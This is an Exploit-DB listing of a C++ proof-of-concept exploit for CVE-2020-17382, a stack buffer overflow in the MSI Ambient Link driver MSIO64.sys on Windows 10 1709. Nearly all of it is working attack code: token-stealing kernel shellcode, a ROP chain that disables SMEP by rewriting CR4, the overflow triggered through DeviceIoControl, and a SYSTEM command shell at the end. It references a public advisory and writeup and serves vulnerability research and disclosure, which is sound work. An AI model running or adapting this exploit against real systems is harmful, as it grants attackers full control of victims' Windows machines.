MSI Ambient Link Driver 1.0.0.8 – Local Privilege Escalation

  • 作者: Matteo Malvica
    日期: 2020-09-28
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48836/
  • /*
    Exploit Title: MSI Ambient Link Driver 1.0.0.8 - Local Privilege Escalation
    Date: 2020-09-24
    Exploit Author: Matteo Malvica
    Vendor Homepage: https://www.msi.com
    Software Link: https://msi.gm/ABLTMNB
    Driver: MSIO64.sys
    SHA256: 525D9B51A80CA0CD4C5889A96F857E73F3A80DA1FFBAE59851E0F51BDFB0B6CD
    Version: 1.0.0.8
    Tested on: Windows 10 1709 [19041.1.amd64fre.vb_release.191206-1406]
    MSI Ambient Link Driver 1.0.0.8 Kernel Stack Based Buffer Overflow / Local Privilege Escalation
    CVE: CVE-2020-17382
    Writeup: https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/
    Original advisory: https://www.coresecurity.com/core-labs/advisories/msi-ambient-link-multiple-vulnerabilities
    */
    
    #include <iostream>
    #include <string>
    #include <Windows.h>
    #include <Psapi.h>
    
    #pragma warning( disable : 6387 )
    
    VOID eopMsio(HANDLE hFile, INT64 kernel_base, DWORD pid, DWORD IoControlCode) {
    // SHELLCODE FOR 1709
    BYTE token_steal[] =
    "\x65\x48\x8B\x14\x25\x88\x01\x00\x00"// mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR
    "\x4C\x8B\x82\xB8\x00\x00\x00"// mov r8, [rdx + b8h]; _EPROCESS (kd> u PsGetCurrentProcess)
    "\x4D\x8B\x88\xe8\x02\x00\x00"// mov r9, [r8 + 2e8h]; ActiveProcessLinks list head
    "\x49\x8B\x09"// mov rcx, [r9]; Follow link to first process in list
    //find_system_proc:
    "\x48\x8B\x51\xF8"// mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId
    "\x48\x83\xFA\x04"// cmp rdx, 4 ; Process with ID 4 is System process
    "\x74\x05"// jz found_system; Found SYSTEM token
    "\x48\x8B\x09"// mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer
    "\xEB\xF1"// jmp find_system_proc ; Loop
    //found_system:
    "\x48\x8B\x41\x70"// mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token
    "\x24\xF0"// and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure
    //find cmd
    "\x48\x8B\x51\xF8"// mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId
    "\x48\x81\xFA\x99\x99\x00\x00"// cmp rdx, 0d54h ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
    "\x74\x05"// jz found_cmd ;YES - move on
    "\x48\x8B\x09"// mov rcx, [rcx] ;NO - next entry in list
    "\xEB\xEE"// jmp find_cmd ;loop
    // found cmd
    "\x48\x89\x41\x70"// mov [rcx+70h], rax ;copy SYSTEM token over top of this process's token
    "\x48\x31\xc9"// xor rcx rcx; clear some registers to avoid issues while unwinding the call stack
    "\x48\x31\xc0"// xor rax rax
    "\x48\x31\xf6"// xor rsi,rsi
    "\x48\x31\xff"// xor rdi, rdi
    "\x4D\x31\xC0"// xor r8, r8
    "\x48\xc7\xc1\xf8\x06\x15\x00"// mov rcx, 0x1506f8; move original cr4 value into rcx
    "\xc3"; // ret; RET
    
    token_steal[54] = pid;
    token_steal[55] = pid >> 8;
    
    LPVOID allocated_shellcode = VirtualAlloc(NULL,
    sizeof(token_steal),
    MEM_COMMIT | MEM_RESERVE,
    PAGE_EXECUTE_READWRITE);
    
    memcpy(allocated_shellcode, token_steal, sizeof(token_steal));
    
    INT64 pop_rcx_offset = kernel_base + 0x15fc70;// gadget 1 1709 - pop rcx ; ret
    INT64 mov_cr4_offset = kernel_base + 0x76a02; // gadget 2 1709 - mov cr4, ecx ; ret
    INT64 wbindv_offset = kernel_base + 0x1175c0;;// gadget 3 1709 - wbinvd; ret
    INT64 rcx_value = 0x506f8;// value we want placed in cr4 in order to disable SMEP
    INT64 rcx_old_value = 0x1506f8; // original cr4 value 
    INT64 ret = pop_rcx_offset + 1; // RET NOP
    
    puts("[+] SMEP disabled");
    
    BYTEinput_buff[136] = { 0 };
    memset(input_buff, '\x41', 64);
    memset(input_buff, '\x42', 8);// dummy RBP
    memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8);// pop rcx
    memcpy(input_buff + 80, (PINT64)&rcx_value, 8); // disable SMEP value
    memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8);// mov cr4, rcx
    memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8); // wbinvd; ret
    memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);// shellcode
    memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx 
    memcpy(input_buff + 120, (PINT64)&ret, 8);// RETNOP to restore the stack
    memcpy(input_buff + 128, (PINT64)&ret, 8);// RETNOP to restore the stack
    
    printf("[+] Payload buffer located at: 0x%p\n", &allocated_shellcode);
    
    DWORD lpBytesReturned = 0x0;
    BOOL triggerIOCTL = DeviceIoControl(hFile,
    IoControlCode,
    input_buff,
    sizeof(input_buff),
    NULL,
    0,
    &lpBytesReturned,
    NULL);
    
    if (!triggerIOCTL) {
    printf("[!] DeviceIoControl failed: %d\n", GetLastError());
    }
    else {
    puts("[+] SMEP re-enabled");
    puts("[+] Enjoy your SYSTEM shell\n");
    }
    
    system("start cmd.exe");
    }
    
    LPVOID GetBaseAddr(const char* drvname) {
    LPVOID drivers[1024];
    DWORD cbNeeded;
    int nDrivers, i = 0;
    
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
    char szDrivers[1024];
    nDrivers = cbNeeded / sizeof(drivers[0]);
    for (i = 0; i < nDrivers; i++) {
    if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
    if (strcmp(szDrivers, drvname) == 0) {
    return drivers[i];
    }
    }
    }
    }
    return 0;
    }
    
    HANDLE GetDriverHandle() {
    HANDLE hMsio;
    
    hMsio = CreateFileA("\\\\.\\MsIo",
    FILE_READ_ACCESS | FILE_WRITE_ACCESS,
    FILE_SHARE_READ | FILE_SHARE_WRITE,
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
    NULL);
    
    if (hMsio == INVALID_HANDLE_VALUE) {
    printf("[-] Error obtaining an handle to the driver: %d\n", GetLastError());
    exit(1);
    }
    
    return hMsio;
    }
    
    int main() {
    puts("[*] CVE-2020-17382 - Win10 1709 - PoC by Matteo 'uf0' Malvica");
    DWORD IoControlCode = 0x80102040;
    HANDLE hDevice = GetDriverHandle();
    INT64 nt = (INT64)GetBaseAddr("ntoskrnl.exe");
    DWORD pid = GetCurrentProcessId();
    
    eopMsio(hDevice, nt, pid, IoControlCode);
    
    return 0;
    }